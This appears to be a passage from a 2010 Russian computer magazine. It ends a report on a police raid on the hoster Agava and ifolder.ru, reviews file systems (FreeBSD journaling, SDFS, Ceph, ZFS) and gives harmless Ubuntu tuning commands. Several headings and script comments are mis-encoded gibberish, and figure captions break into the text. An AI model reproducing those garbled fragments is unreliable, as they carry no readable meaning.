размещенных на сайте ifolder.ru и устроили 
в дата-центре то, что в народе называется 
«маски-шоу».
Работники «Агавы» хоть и смутно понимали, 
что происходит, до последнего держались 
молодцом и все равно предложили сотруд-
никам милиции всяческую поддержку и 
помощь в поиске нужной им информации на 
серверах, а также в установлении личности 
пользователя, загрузившего проходящие по 
неведомому делу файлы. Но не тут-то было. 
Вместо того чтобы пойти на диалог с ага-
вовцами, милиция лишь отмахнулась от них 
и взялась искать нужный сервер самосто-
ятельно. Сервер находиться почему-то не 
хотел. Тогда сотрудники МВД предприняли 
попытку вывезти из дата-центра 

все оборудование «в целях проведения 
экспертизы». То есть вообще все оборудова-
ние — 74 сервера. Невзирая при этом на то, 
что помимо серверов ifolder.ru там распола-
гались и другие ресурсы, никакого отноше-
ния к любимому народом файлообменнику 
не имеющие. Заметим, что обычно в таких 
ситуациях дело ограничивается изъятием 
одного харда из серверной стойки. 
Каким-то чудом сотрудникам «Агавы» все 
же удалось уговорить представителей 
органов правопорядка оставить серваки 
на месте. Впрочем, милиция без боя тоже 
не сдалась — серверы хоть и не увезли, 
зато все, что было можно, в дата-центре 
опечатали и отключили от сети, выдернув из 
розетки. Среди отключенного оборудования 
находились первичные DNS-серверы «Ага-
вы», но работа хостера от этого, к счастью, 
не пострадала.  Что же произошло на этот 
раз? Кое-что весьма похожее на ситуацию с 
«закрытием» torrents.ru. В последние годы 
у властей и копирастов со всего мира поя-
вились две универсальные, действенные и, 
можно сказать, любимые пугала в отноше-
нии интернета — это терроризм и детское 
порно. Именно последнее и оказалось по-
винно в недавних злоключениях ifolder.ru.
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Буквально на следующий день после обыска 
представители ГУВД прокомментировали 
ситуацию. Оказалось, что московская мили-
ция приостановила доступ к iFolder в связи 
с тем, что через него неизвестные распро-
страняли детскую порнографию, чтобы не 
допустить дальнейшего распространения 
порноматериалов. Кстати, по некоторым 
данным распространением детского порно 
занимались не «неизвестные», а вполне 
конкретный педофил, которого уже пойма-
ли, уличили в распространении порнухи, и 
при обыске искали его файлы. 
Спору нет — детская порнография, конеч-
но, мерзость, и за нее в самом деле нужно 
судить и сажать, но вместо этого ею чаще 
пользуются как очень удобной ширмой. В 
случае с «Агавой» волей-неволей закрады-
ваются мысли о том, что на серверах хотели 

найти не только упомянутое детское порно. 
Сами представители «Агавы» случившееся 
прокомментировали следующим образом: 
«Компания Агава считает произошедшее 
беспрецедентным событием, которое ставит 
под угрозу и сомнение факт существования 
и развития любого бизнеса в рунете. Мы 
намерены бороться и отстаивать интересы 
сервиса и его клиентов, а также заранее 
благодарим клиентов за информационную 
или любую другую помощь в этом деле». 
Очень созвучно с комментарием предста-
вителей экс-torrents.ru, не так ли? Дейст-
вительно, остается только поражаться 
беспределу, творящемуся в зоне .ru, да пы-
таться отстаивать свои поруганные права. 
Последнее «Агаве», к счастью, удалось.
Ситуация, как ни удивительно, разрешилась 
своеобразным happy end’ом, после которого 

все же остался осадочек.  Дело в том, что 
«Агава» — не какая-то никому не извест-
ная начинающая фирмочка, а напротив, ее 
iFolder — один из крупнейших файлообмен-
ников рунета. Информация о произошедшем 
моментально дошла до самых верхов (сама 
ли, или ей в этом помогли — решай сам). Как 
бы то ни было, уже 19-го марта министр внут-
ренних дел РФ Рашид Нургалиев поручил 
осуществить служебную проверку по факту 
проведения оперативно-розыскных мероп-
риятий в отношении хостинговой компании 
«Агава». Мало того, такое распоряжение гос-
подин Нургалиев сделал по личному поруче-
нию президента РФ Дмитрия Медведева...
После этого уже мало кого удивил тот факт, 
что на следующий день ifolder.ru, как ни в 
чем не бывало, вернулся в строй. В течение 
всего 19 марта следователи, уже не отка-
зываясь от помощи, искали на серверах 
нужные им файлы, а найдя, разрешили 
ресурсу возобновить работу. На сайте 
по этому поводу появилось следующее 
заявление от агавовцев: «Мы никогда не 
боролись, не боремся и не имеем наме-
рения бороться со стражами порядка. Мы 
лишь успешно оспорили избыточное, раз-
рушительное правоприменение, отстояв в 
итоге Ваши интересы. ifolder.ru по-преж-
нему помогает пресекать преступления в 
Сети. Его бесперебойная работа не мешает 
выявлению правонарушений. Пожалуйста, 
не создавайте проблем себе и нам: не пы-
тайтесь нарушить закон с помощью нашего 
сервиса».
Пару дней спустя файлообменник опубли-
ковал также и благодарность президенту, в 
которой помимо «спасибо» была высказана 
мысль, к которой все чаще и чаще приходят 
наши стартапщики: «...Хотелось бы заме-
тить, что главный ущерб, который нанесли 
эти действия, коснулся не только нас и 
наших клиентов, а нашей страны в целом. 
Подобные действия силовых органов при-
водят к тому, что становится все больше и 
больше желающих размещать интернет-ре-
сурсы за рубежом, а не в России. А, значит, 
за границу утекают сервера, рабочие места 
и соответствующие финансовые потоки». 
Как тут не вспомнить саркастичные правила 
успешного ведения IT-бизнеса в России: 
«Держите сервера за границей. Регист-
рируйте домены за границей. Регистри-
руйте компанию за границей. Уезжайте за 
границу». 
В самом деле, что делать, если к тебе из-за 
твоего IT-проекта приходят «маски-шоу» 
и без суда и следствия отключают все, что 
можно, и увозят на «экспертизу», которая 
тянется месяцами? Бежать на поклон к 
«царю-батюшке», если ты не «Агава», 
несколько проблематично, да и попытки от-
стаивать свои права у нас далеко не всегда 
заканчиваются хорошо и успешно. Ох, не-
легкое это дело — заниматься IT-бизнесом 
в России.    z

ÇËÎÑ×ÀÑÒÍÀß ÁÓÌÀÃÀ, ÈÇ-ÇÀ ÊÎÒÎÐÎÉ ÏÐÈÎÑÒÀÍÎÂÈËÈ ÄÅËÅÃÈÐÎÂÀÍÈÅ 
TORRENTS.RU.
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FREEBSD И ЖУРНАЛИРУЕ-
МАЯ ФАЙЛОВАЯ СИСТЕМА
 8 декабря прошлого года Джефри Робер-
сон, создатель планировщика ULE и один из 
активных разработчиков FreeBSD, сообщил в 
своем блоге (http://jeffr-tech.livejournal.com) о 
проводимой работе над механизмом журнали-
рования для стандартной файловой системы 

FFS (Fast FileSystem) ОС FreeBSD. Эта новость 
сразу стала поводом для насмешек со стороны 
многочисленных троллей, которые в очеред-
ной раз окрестили BSD-системы ходячим 
трупом. Однако никто из них так и не понял сути 
происходящего. На самом деле разработанный 
Джефри механизм журналирования не совсем 
стандартен и достаточно прост, а его появле-

нию 5 или даже 10 лет назад мешало только то, 
что в нем просто не было необходимости. Чтобы 
понять, почему, и в чем отличия нового меха-
низма от появившегося не так давно GEOM-мо-
дуля gjournal (который теоретически позволяет 
прикрутить журнал даже к FAT12) или механиз-
ма журналирования «официальных» файловых 
систем Linux, обратимся к истории.

Âåëèêèé 
ôàéëîâûé ïóòü
Îáçîð íîâèíîê â ìèðå ôàéëîâûõ ñèñòåì

Архитектура файловой системы Ceph

    Евгений  Зобнин  zobnin@gmail.com

Файловые системы, как и любой другой компонент современных 
операционных систем, постоянно развиваются и сменяют друг друга. 
С ростом объемов хранилищ информации и появлением новых 
технологий обработки данных старые подходы к хранению 
информации отмирают, и на смену им приходят более совершенные и 
приспособленные к современным условиям. Следующие четыре полосы 
журнала посвящены последним тенденциям в области развития ФС.

Clients Metadata Cluster

Object Storage Cluster
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Исторически файловая система представляет собой совокупность 
метаданных и блоков, непосредственно хранящих пользовательские 
данные. Во время произведения какой-либо операции над файлом 
происходит модификация сразу нескольких областей ФС, включая шаги 
по изменению метаданных и модификацию содержимого файла. Напри-
мер, при создании нового файла, кроме непосредственной записи его 
содержимого на диск, ФС должна сделать следующее:
1. Записать информацию о файле (тип, права доступа, количество ссы-
лок и т.д.) в таблицу inode;
2. Пометить блоки, выделенные для хранения файла, как занятые;
3. Записать связку “inode:имя_файла” в файл каталога.
Причем все эти действия должны быть выполнены именно в такой 
последовательности. В идеальном мире все было бы прекрасно, од-
нако реальность вносит свои коррективы. Подсистеме VFS, лежащей 
уровнем выше, и кэшу жесткого диска ничего неизвестно о метадан-
ных. Для них вся записываемая информация — простой набор байт, 
поэтому если метаданные будут записываться на диск в асинхронном 
режиме, проходя через кэш VFS и жесткого диска, никто не сможет 
гарантировать их запись в правильном порядке. Это обязательно 
приведет к противоречивому состоянию ФС в случае сбоя («повис-
шие» указатели, неоднозначная принадлежность ресурсов, «оси-
ротевшие» ресурсы), и тогда — привет, fsck, а в некоторых случаях 
— пересоздание ФС.
Для решения этой проблемы можно использовать комбинированный 
режим записи, при котором метаданные будут записаны в синхрон-
ном режиме, а данные — в асинхронном. Тогда фатальных ошибок ФС 
можно избежать, и даже если сбой произойдет между вторым и третьим 
шагом вышеприведенной последовательности, ошибки будет легко 
исправить с помощью выполнения fsck даже на уже смонтированной 
ФС. Но вот засада: синхронный режим записи приводит к колоссаль-
ным потерям производительности, а сама запись идет очень медленно. 
Для обхода этой проблемы в свое время было предложено множество 
различных способов, из которых особенно популярным стал механизм 
журналирования. Суть проста: где-то в файловой системе отводится 
небольшой участок для хранения журнала. Когда возникает запрос на 
создание или модификацию файла, вся информация об изменяемых 
при этом метаданных объединяется и помещается в журнал с помощью 
единой атомарной операции записи. Непосредственная же запись 
метаданных происходит в асинхронном режиме. В момент, когда все 
метаданные файла попадут на диск, соответствующая запись удаляет-
ся из журнала. В случае сбоя для приведения ФС в непротиворечивое 
состояние будет достаточно просто извлечь из журнала все записи и 
применить их к файловой системе. Это разумный компромисс между 
производительностью и стабильностью: хотя запись в журнал и сказы-
вается на производительности, но далеко не так сильно, как синх-
ронная запись метаданных на диск, при которой головке винчестера 
приходится метать ся между разными участками диска.

Разработчики FreeBSD пошли по другому пути, применив механизм под 
названием «мягкие обновления» (Soft Updates). В двух словах, его суть 
заключается в использовании специального кэша файловой системы 
для хранения изменений метаданных, их объединения и поддержки 
зависимости между друг другом. Это гарантирует правильную последо-
вательность записи метаданных на диск и в то же время не требует их 
синхронной записи. При использовании «мягких обновлений» сбой мо-
жет привести только к двум несогласованностям файловой системы: по-
висшие inode и блоки. Они не относятся к глобальным несоответствия м 
ФС (таким, например, как блоки, одновременно адресуемые двумя 
inode), поэтому она может быть смонтирована, а fsck запущен в фоновом 
режиме на уже смонтированной ФС (собственно, так и происходит, начи-
ная с пятой ветки FreeBSD).
Единственный заметный минус Soft Updates в сравнении с журналом 
состоит в том, что запущенный в фоновом режиме fsck заметно кушает 
ресурсы, что при больших объемах дисков может привести к достаточно 
длительным провалам производительности. Само собой, такое положе-
ние вещей не нравилось многим, и, в конце концов, компании iXsystems, 
Yahoo! и Juniper networks «скинулись» и заплатили Джефри за исправ-
ление этого недочета.
Новая система журналирования (работа над которой велась совместно 
с автором «мягких обновлений» — Кирком МакКузиком) стала ничем 
иным, как простым расширением технологии Soft Updates. В отличие 
от традиционных систем журналирования, она регистрирует только те 
самые операции выделения и освобождения блоков и inode, тогда как 
все остальное берет на себя механизм Soft Updates. Благодаря этому 
удалось достичь минимальных размеров журнала и более высокой по 
сравнению с традиционным журналированием производительности.

SDFS — ФАЙЛОВАЯ СИСТЕМА 
ДЛЯ ВИРТУАЛЬНЫХ ОКРУЖЕНИЙ
Модель облачных вычислений приобретает все большую популярность. 
Для многих компаний (и даже частных лиц) проще и выгоднее арендо-
вать на время уже готовые к работе выделенные виртуальные серверы, 
чем покупать дорогостоящее серверное оборудование и оплачивать его 
поддержку. Виртуальные серверы удобны, надежны, их легко восстано-
вить после сбоев. Однако провайдеру услуг облачных вычислений их со-
держание обходится в кругленькую сумму, что сказывается на стоимости 
аренды, и, следовательно, на популярности среди клиентов. В среде 
провайдеров постоянно идет поиск способов удешевления содержания 
виртуальных машин и всей инфраструктуры в целом. Один из способов 
сделать это заключается в использовании технологии дедупликации 
данных, которая позволяет сэкономить существенные средства на объ-
емах дискового хранилища.
Дедупликация данных представляет собой процесс исключения 
избыточности данных путем удаления лишних копий информации и 
сохранения на их месте ссылок на единственный экземпляр. Чтобы 

Принцип работы SDFS Время ожидания записи данных одним клиентом
в кластер Ceph
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понять, почем у это так важно, и сколько дискового пространства можно 
сэкономить, представь себе следующую картину: ты занимаешься 
предоставлением услуг типа «виртуальный сервер в аренду», и для 
любого обратившегося к тебе клиента создаешь виртуальный сервер 
на основе Red Hat Enterprise Linux 5. Дела идут хорошо, поток клиентов 
растет, и вскоре их количество приближается к отметке 1000. Ты имеешь 
хорошую прибыль, но большая ее часть уходит на покупку нового железа. 
Если представить, что каждому клиенту ты выделяешь 10 Гб дискового 
пространства, то для обслуживания 1000 клиентов тебе понадобится 
примерно 10 Тб дискового пространства, а это около 20 жестких дисков 
по 500 Гб каждый. При этом как минимум четыре из них используются 
для хранения одних и тех же данных, ведь базовая инсталляция ОС 
занимает около 2 Гб, а все эти клиенты используют одну ОС. Сложив, по-
лучаем 2 Тб копий копий копий базовой инсталляции Red Hat Enterprise 
Linux 5. Применив дедупликацию, ты смог бы избавиться от всех этих 
копий, освободив солидный участок пространства, которое заняли бы 
еще 200 клиентов!
Поддержка дедупликации данных существует в некоторых решениях NAS 
и коммерческих программных продуктах. Она была добавлена в файло-
вую систему ZFS в ноябре 2009 года, а совсем недавно была выпущена 
дедуплицирующая распределенная файловая система SDFS, разрабо-
танная в рамках открытого проекта Opendedup (www.opendedup.org). 
Несмотря на название, SDFS не является файловой системой в прямом 
смысле слова. Это прослойка, написанная на языке Java и реализо-
ванная с использованием механизма для создания файловых систем 
пространства пользователя fuse (fuse.sf.net). SDFS состоит из следую-
щих компонентов:
1. Fuse Based File System. Файловая система уровня пользователя, 
предоставляющая доступ к файлам и каталогам.
2. Dedup File Engine. Сервис на стороне клиента, который принимает все 
запросы на доступ к файлам от файловой системы и отвечает за хране-
ние метаданных и карты дубликатов, связанных с файлами и каталогами.
3. Deduplication Storage Engine. Серверная сторона, движок дедуплика-
ции. Отвечает за хранение, извлечение и удаление повторяющихся дан-
ных. Для хранения данных использует низлежащую файловую систему 
или хранилище Amazon S3, индексируя блоки с помощью хэш-таблицы.
На всех машинах, которые должны участвовать в хранении данных, 
запускается движок дедупликации. На клиентских машинах, использую-
щих хранилище данных, запускается сервис Dedup File Engine, который 
подключается к доступным движкам дедупликации и получает доступ к 
хранилищу. Для общения с Dedup File Engine файловая система (Fuse 
Based File System) использует механизм JNI (Java Native Interface).
Кроме стандартной файловой системы для хранения данных может исполь-
зоваться хранилище Amazon S3. Общий размер ФС способен достигать 8 Пб, 
максимальный размер одного файла — 250 Гб, файловая система может быть 
«размазана» по 256 различным хранилищам, обслуживаемым Deduplication 
Storage Engine. Выявление и устранение дубликатов данных происходит 
на уровне блоков размером 4 Кб. Файловая система способна производить 

дедупликацию на лету (во время записи новых данных) или же запускаться в 
промежутках наименьшей активности операций ввода-вывода как фоновый 
процесс. Среди других особенностей SDFS можно отметить поддержку 
снапшотов на уровне файлов и каталогов, поддержку экспорта с помощью 
протоколов NFS и CIFS и достаточно высокую производительность.

CEPH — РАСПРЕДЕЛЕННАЯ 
ФАЙЛОВАЯ СИСТЕМА
Ситуация с распределенными файловыми системами в мире Open 
Source далека от идеала. Существует множество готовых для про-
мышленной эксплуатации проектов, однако ни один из них не может 
похвастаться хорошим сочетанием важных для распределенных ФС 
характеристик. Одни обладают высокой надежностью, но проваливают 
тесты на производительность, другие вырываются в лидеры по скорости 
доступа, но обеспечивают не самый лучший показатель надежности и 
расширяемости, третьи могут расти почти до бесконечности, но изде-
вательски медленны. Не удивительно, что исследовательские работы в 
этой области ведутся непрерывно, и почти каждый год мы становимся 
свидетелями рождения новой распределенной ФС, которая претендует 
на звание идеала. Это произошло и с файловой системой Ceph, которая 
оказалась настолько успешной, что код ее клиента было решено вклю-
чить в Linux-ядро версии 2.6.34.
Ceph (http://ceph.newdream.net) имеет достаточно долгую историю раз-
вития; впервые ее архитектура была описана автором Сэйджем Вилом 
в его дипломной работе в 2006 году. К ноябрю 2007 года он представил 
стабильную версию, реализованную с использованием fuse, и начал 
работать над реализацией модуля для ядра Linux. Сегодня Ceph уже 
достаточно стабильна для повседневного использования.
Среди главных плюсов Ceph автор отмечает следующие:
• Совместимость со стандартом POSIX;
• Прозрачное масштабирование от десятка до тысячи узлов;
• Общий объем хранилища (может составлять сотни петабайт);
• Высокие показатели доступности и надежности;
• N-way репликация всех данных на множество узлов;
• Автоматическая ребалансировка данных в случае добавления/удале-
ния узла для более эффективного использования ресурсов;
• Простота развертывания (большинство компонентов файловой систе-
мы реализованы в виде демонов пространства пользователя);
• Наличие fuse-клиента;
• Наличие клиента для ядра Linux.
В отличие от кластерных файловых систем, таких как GFS, OCFS2 и GPFS, 
которые опираются на симметричный доступ всех клиентов к общим 
блочным устройствам, Ceph разделяет управление данными и метадан-
ными путем использования независимых кластеров (примерно так же, 
как это делает Lustre). Однако, в отличие от последней, узлы, управ-
ляющие метаданными и хранилищем, не требуют какой бы то ни было 
поддержки со стороны ядра; весь код работает в пространстве пользова-
теля. Для хранения объектов данных узлы могут использовать блочные 

Производительность SDFS vs. Ext4 в тестах bonnie++



XÀÊÅÐ  06  /137/  10  081

устройства, образы или низлежащую файловую систему. Когда один из 
узлов дает сбой, данные реплицируются самими узлами, благодаря чему 
достигается высокий уровень эффективности и масштабируемости.
Серверы, отвечающие за хранение метаданных (metadata server), 
представляют собой нечто вроде большого согласованного распреде-
ленного кэша на вершине кластера-хранилища, который динамически 
перераспределяет метаданные в ответ на изменение нагрузки и легко 
переносит выход узлов из строя. Metadata server использует особый 
подход для хранения метаданных, который позволяет достичь высоких 
показателей производительности. Например, inode-запись, имеющая 
только одну жесткую ссылку, помещается прямо в каталоговую запись. 
Поэтому каталог вместе со всеми адресуемыми им inode'ами может быть 
загружен в кэш с помощью одной операции ввода-вывода. Содержимое 
очень больших каталогов фрагментируется и отдается на управление 
независимым metadata-серверам, благодаря чему операцию доступа к 
каталогу можно легко распараллелить.
По словам автора Ceph, наиболее важное достоинство его ФС 
заключает ся в полностью автоматизированном механизме ребалан-
сировки и миграции при масштабировании от небольшого кластера, 
состоящего из нескольких узлов, до кластера корпоративных масшта-
бов, в котором участвуют несколько сотен узлов. Этот процесс требует 
минимального вмешательства администратора, новые узлы могут быть 
подключены к кластеру, и все будет «просто работать».

ЧТО ТАМ С ZFS?
На сегодняшний день ZFS остается самой продвинутой файловой сис-
темой, аналогов которой нет не только в мире Open Source, но и в среде 
коммерческого ПО. Она быстра, надежна, имеет богатый функционал 
и невероятно проста в администрировании. Изначально созданная 
компанией Sun Microsystems (привет Oracle) для операционной системы 
Solaris и анонсированная в 2005 году, она сразу стала лакомым кусочком 
для пользователей и разработчиков других операционных систем. Одна-
ко далеко не всем из них удалось почувствовать ее вкус.
Первыми претендентами на включение кода ZFS в свою ОС стали, 
конечно же, линуксоиды, готовые тащить в ядро все, что не привинче-
но болтами. Но судьба (роль которой, скорее всего, сыграла сама Sun) 

распорядилась иначе. Код ZFS, как и всей операционной системы 
OpenSolaris, оказался защищен лицензией CDDL, которая накладывает 
серьезные ограничения на его использование и, более того, совер-
шенно несовместима с лицензией GPLv2, используемой ядром Linux. 
Фактически это означает, что есть только три пути включения ZFS в ядро: 
нелегальный, который включает в себя перенос ZFS без соблюдения 
закона об авторском праве, юмористический, при котором код Linux 
лицензируется под CDDL, и титанический, когда огромная кодовая база 
ZFS переписывается под GPL, да еще и с обходом Sun'овских патентов. 
В общем — не комильфо, поэтому единственный способ задействовать 
ZFS в Linux — это использовать ее порт на fuse (http://zfs-fuse.net), стра-
дающий багами и низкой производитель ностью, которая в силу архитек-
турных особенностей ZFS вряд ли сможет повыситься без переноса хотя 
бы части кода в ядро. Компания Apple также планировала внедрение 
ZFS в Mac OS X и даже успела выпустить экспериментальный драйвер и 
внедрить поддержку чтения ZFS в версию 10.5 Leopard, однако в октябре 
2009 года проект закрыли без объяснения причин. Учитывая то, что 
лицензия BSD, покрывающая код ядра Mac OS X, позволяла без проблем 
перенести ZFS в ОС от Apple с минимальными затратами, такой поступок 
можно объяснить либо давлением со стороны Sun, либо глобальными 
изменениями в планах самой Apple.
В апреле 2007 года Павел Якуб Давидек закончил портирование ZFS 
в FreeBSD. На протяжении двух лет код был помечен как эксперимен-
тальный, но после исправления ряда проблем разработчик объявил о 
стабилизации порта, и 15 октября прошлого года FreeBSD стала первой 
ОС после Solaris, готовой к промышленной эксплуатации ZFS. По 
состоянию на 11 января 2010 года восьмая ветка FreeBSD полностью 
поддерживает zpool v14 (текущая версия ZFS в OpenSolaris: zpool v16).
Работа по поддержке ZFS велась и разработчиками NetBSD. В рамках 
проекта Google Summer of Code 2007 был представлен начальный (но 
неработающий) порт файловой системы. Работа по доведению кода до 
ума продолжилась как часть Summer of Code 2009, и в августе 2009 года 
поддержка ZFS была добавлена в репозиторий NetBSD.
Небольшая часть кода ZFS открыта под GPL, благодаря чему удалось 
интегрировать его в загрузчик GRUB, который теперь умеет выполнять 
загрузку с ZFS-раздела. z 

Производительность SDFS
в зависимости от количества
записываемых данных

Write Performance over Time 



XÀÊÅÐ  06  /137/  10 082 

ОТКЛЮЧЕНИЕ COMPIZ
Compiz —композитный менеджер окон для X 
Window System, использующий OpenGL для 
ускорения 3D-графики. Он предоставляет 
множество новых графических эффектов, до-
ступных в любых средах рабочего стола, в том 
числе GNOME и KDE. Если у тебя установлены 
драйвера для видеокарты, то, скорее всего, 
менеджер включен. Помни, что видеокарта с 
Compiz, включенным в режиме «Производи-
тельность по запросу», постоянно работает 
на полную нагрузку и не собирается сбав-
лять обороты вентилятора. Если хочешь от 
видеокарты тишины или бережешь киловат-
ты, советую упростить эффекты Compiz или 
отключить его совсем. В первом случае нужно 
установить пакет compizconfig-settings-
manager через Синаптик или в Терминале 
скомандовать:

$ sudo aptitude install 

compizconfig-settings-manager

Чтобы получить доступ к возможностям Compiz 
и упростить эффекты по своему вкусу, проходим 
по маршруту: Меню  Система  Параметры 

 Менеджер настройки Compiz Config. Если 
желаешь просто отключить Compiz, то это 
можно сделать через пункт Меню  Система  
Параметры  Внешний вид, в закладке «Вне-
шний вид» выстави «Без эффектов».

УМЕНЬШЕНИЕ 
ЗАДЕРЖЕК GTK
В Ubuntu рабочей средой является Gnome, где 
важную роль играет GTK. Изменяя настройки 
этого тулкита, мы влияем на все приложения, 
использующие его. Предлагаю подкрутить 
параметры, отвечающие за задержки:

$ gedit ~/.gtkrc-2.0

### Ìèíèìàëüíîå âðåìÿ â ìèëëè-

ñåêóíäàõ, â òå÷åíèå êîòîðîãî 

óêàçàòåëü äîëæåí îñòàâàòüñÿ íà 

ïóíêòå ìåíþ ïåðåä ïîÿâëåíèåì 

ïîäìåíþ

gtk-menu-popup-delay = 0

### Âðåìÿ â ìèëëèñåêóíäàõ ïåðåä 

ñêðûòèåì ïîäìåíþ, êîãäà óêàçà-

òåëü ïåðåìåùàåòñÿ íà ïîäìåíþ

gtk-menu-popdown-delay = 0

### Çàäåðæêà â ìèëëèñåêóíäàõ ïåðåä 

ïîÿâëåíèåì ïîäìåíþ ïîñëå ïàíåëè ìåíþ

gtk-menu-bar-popup-delay = 0

ЮВЕЛИРНАЯ 
НАСТРОЙКА GNOME
В Gnome настройки хранятся по аналогии с 
реестром MS Windows, с той лишь разницей, 

Îïåðàöèÿ 
«Îïòèìèçàöèÿ»
Ñîâåòû ïî óñêîðåíèþ Ubuntu

    Василий  «vasi l isc» Алексеенко  vasil isc777@gmail.com

Пока наши братья-гентушники неделями компилят свою систему, мы 
применим парочку советов и точно обгоним самого быстрого пингвина 
на планете. Убунту и так шла практически вровень с Gentoo, но наши из-
менения позволят вырвать победу из лап Pygoscelis papua. Пристегнись, 
мы ускоряемся!

UNIXOID
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что «реестр» Gnome – это XML-файлы. Доступ к ним можно получить 
через редактор конфигураций gconf-editor или через вызов команды 
gconftool-2. Чтобы ускорить время отклика «реестра», предпримем 
следующие шаги:

1. Укажем Metacity не использовать анимационные эффекты, снизив тем 
самым потребление ресурсов: 

$ gconftool-2 --type bool --set /apps/metacity/general/

reduced_resources true

Единственное, что визуально изменится – при перемещении окон не 
будет отображаться содержимое;
2. Выключим анимацию включения/выключения панелей:

$ gconftool-2 --type bool --set /apps/panel/global/

enable_animations false

3. Отключим вспомогательные технологии клавиатуры, мыши и т.д., 
предназначенные для людей с ограниченными возможностями:

$ gconftool-2 --type bool --set /desktop/gnome/

interface/accessibility false

4. Зададим скорость анимации панелей «Быстрая»:

$ gconftool-2 --type string --set /apps/panel/global/

panel_animation_speed panel-speed-fast

Если у тебя установлен режим, при котором во время наведения мыши 
на окно открытого приложения последнее выдвигается на передний 
план, то можно потвикать параметр auto_raise_delay, контролирующий 
задержку между наведением мыши и выдвижением окна:

$ gconftool-2 --type integer --set /apps/metacity/

general/auto_raise_delay 100

ОПТИМИЗАЦИЯ XML
В структурированных файлах XML многие программы в Ubuntu хранят 
настройки и данные. Есть возможность преобразовать XML из «чита-
бельного» формата, понятного человеку, в формат, удобный компью-
теру. Преобразованные XML-файлы быстрее загружаются и занимают 
меньше ОЗУ. В таком преобразовании помогут скрипты, которые можно 
скачать по адресу: www.gnomefiles.org/app.php?soft_id=1397. Распако-
вываем полученный архив (desktop-optimizations.tar.gz) и по очереди 
запускаем скрипты от обычной учетной записи:
1. rhythmbox-quickstart оптимизирует файлы музыкального проигрыва-
теля Rhythmbox;
2. evolution-optimize оптимизирует файлы почтовой программы 
Evolution;
3. gnome-optimize оптимизирует файлы Gnome;
4. openoffice-optimize оптимизирует файлы офисного пакета OpenOffice.
org;
5. doc-optimize оптимизирует файлы помощи Gnome;
6. gconf-optimize оптимизирует файлы конфигураций Gnome («реестр» 
Gnome).
Если в системе несколько аккаунтов, то скрипты rhythmbox-quickstart 
и gconf-optimize нужно запускать от каждой учетной записи. Ничего 
страшного не произойдет, если ты запустишь скрипты несколько раз – 
оптимизация «уже оптимизированного» не разрушительна. Желательно 
перезайти в систему после оптимизации XML для того, чтобы изменения 
вступили в силу.
Скрипты оптимизируют как файлы в домашней директории, так и сис-
темные файлы, запрашивая привилегии через sudo. Скрипты делают 
резервные копии, но если при длительной процедуре оптимизации у 
тебя из-за сбоя электросети перезагрузится компьютер, то результаты, 
возможно, будут неоднозначны и плачевны. Наличие ИБП приветству-
ется.

УСКОРЕНИЕ ЗАПУСКА ПРОГРАММ, 
ИСПОЛЬЗУЮЩИХ QT
Традиционно считается, что Gnome —это GTK, а KDE —это Qt, но пользо-
вателю ничто не мешает запускать программы GTK в KDE, а Qt програм-
мы в Gnome. Даже больше! Авторы Gnome и KDE многое сделали, чтобы 
«чужие» программы внешне выглядели так же, как «родные». Сейчас мы 
рассмотрим, как ускорить запуск программ, написанных с использова-
нием Qt в Gnome. В действительности, Qt'шная прога может не зависеть 
от KDE, но использовать возможности этой среды. Для этого при старте 
она должна получить «минимальный набор KDE». Как узнать, какие 
программы зависят от KDE? В Терминале даем команду:

Менеджер настроек CompizConfig

Ищем зависящие от KDE программы

Редактор конфигурации Gnome
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•Проверить 
степень отзывчи-
вости интерфейса 
позволит GTKPerf: 
linux.softpedia.
com/progDownload/
GtkPerf-
Download-6715.html

•Применяй советы по 
одному, каждый раз 
желательно пере-
загружать систему. 
Проверяй влияние 
совета временем, не 
торопись.

•Чудес не бывает. Со-
веты либо задейству-
ют свободную память, 
либо отключают что-
то для ускорения.

info

INFO
$ sudo aptitude search '~i!~nlib(~Dqt|~Dkde)'

На экран будут выведены пакеты, которые установ-
лены ('~i') И это не библиотека ('!~nlib') И в зависи-
мостях есть Qt ('~Dqt') ИЛИ в зависимостях есть KDE 
('~Dkde'). Заранее запуская «минимальный набор KDE» 
и удерживая в памяти соответствующие библиотеки, 
мы добьемся ускорения при старте этих программ. 
Трюк весьма прост: в Меню  Система  Параметры 

 Запускаемые приложения добавляем запускаемую 
программу /usr/bin/kdeinit под именем FastQt. Все, 
после перезагрузки компьютера твои Qt-программы 
будут стартовать быстрее.

УСКОРЕНИЕ ЗАПУСКА ПРОГРАММ 
С ПОМОЩЬЮ PRELOAD
Preload – демон, работающий в фоновом режиме, который 
собирает информацию о наиболее часто используемых про-
граммах, кэширует их и используемые ими библиотеки, что 
приводит к повышению скорости загрузки программ. Нужно 
просто установить preload командой:

$ sudo aptitude install preload

Или запустить Синаптик, найти в нем preload и устано-
вить его. Настройки preload по умолчанию подходят для 
большинства пользователей, поэтому изменять что-либо в 
файле /etc/preload.conf не нужно.

ЛЕГКАЯ ОПТИМИЗАЦИЯ 
ФАЙЛОВ SQLITE
Многие программы в Ubuntu хранят свои данные 
не в текстовых файлах, а в базах данных, и часто в 
качестве последних выступают SQLite. Средствами 
таких СУБД можно почистить пустые записи и создать 
индексы файла базы данных заново. Первым делом 
устанавливаем sqlite3 через Синаптик или набираем 
в Терминале:

$ sudo aptitude install sqlite3

Далее создаем скрипт для оптимизации данных в СУБД 
SQLite. Он будет выполнять переиндексацию и удаление из 
таблиц пустых записей.

$ gedit ~/bin/optimizer.sh

#!/bin/sh

### Îïòèìèçàöèÿ äëÿ Firefox

find ~/.mozilla/ -name '*.sqlite' -print -exec 

sqlite3 {} "VACUUM; REINDEX;" > /dev/null 2>&1 \;

### Îïòèìèçàöèÿ äëÿ Epiphany

find ~/.gnome2/epiphany -name '*.sqlite' 

-print -exec sqlite3 {} "VACUUM; REINDEX;" > 

/dev/null 2>&1 \; 

### Îïòèìèçàöèÿ äëÿ Liferea

sqlite3 ~/.liferea*/liferea.db "VACUUM; 

REINDEX;" > /dev/null 2>&1

exit 0

С помощью команды «chmod +x ~/bin/optimizer.sh» делаем 
файл исполняемым.
Периодически можно вызывать этот скрипт при закрытых 
программах, чьи файлы баз данных мы хотим оптимизи-
ровать.

ТОТАЛЬНАЯ ОПТИМИЗАЦИЯ 
ФАЙЛОВ SQLITE
В предыдущем разделе мы оптимизировали SQLite-файлы 
данных браузеров Firefox, Epiphany и RSS-читалки Liferea. 
Сейчас немного усложним задачу. Найдем в домашней ди-
ректории все SQLite-файлы и конкретно их заоптимизируем 
:). Что нам потребуется?
1. Установи sqlite3 через Синаптик или в Терминале, если ты 
еще этого не сделал:

